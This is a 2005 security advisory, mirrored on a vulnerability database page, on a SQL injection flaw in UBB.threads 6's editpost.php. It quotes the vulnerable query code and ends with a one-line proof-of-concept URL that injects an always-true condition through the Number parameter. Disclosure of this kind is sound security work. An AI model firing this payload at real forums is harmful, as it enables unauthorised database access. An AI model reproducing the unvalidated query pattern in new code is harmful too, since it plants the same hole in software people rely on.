Lucene search
K

ubbSQL.txt

🗓️ 15 Mar 2005 00:00:00Reported by kreonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

SQL Injection vulnerability found in UBB.threads editpost.php due to unvalidated input handling.

Code
`  
  
  
ADZ Security Team  
===================  
Info  
  
Program: UBB.threads  
Version: 6  
Module: editpost.php  
Bug type: SQL Injection  
Vendor site: http://www.ubbcentral.com/ubbthreads/  
===================  
Bug discription  
  
at editpost.php we can see this code:  
// START  
$Cat = get_input("Cat","get");  
$Board = get_input("Board","get");  
$Number = get_input("Number","get");  
$page = get_input("page","get");  
$what = get_input("what","get");  
$vc = get_input("vc","get");  
// ...........  
$query = "  
SELECT  
B_Posterid,B_Subject,B_Body,B_Approved,B_Kept,B_Status,B_Main,B_Sticky,  
B_Posted,B_Icon,B_Poll,B_Convert,B_Topic,B_CalDay,B_CalMonth,B_CalYear,  
B_AddSig,B_Board FROM {$config['tbprefix']}Posts  
WHERE B_Number = '$Number'  
";  
//..........  
// END  
As we see, $Number not checked as int value, so... :)  
===================  
Example/PoC:  
  
http://[host]/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='a  
===================  
Contact  
  
ADZ Security Team // http://adz.void.ru/  
kreon // [email protected], [email protected]  
===================  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Mar 2005 00:00Current
7.4High risk
Vulners AI Score7.4
27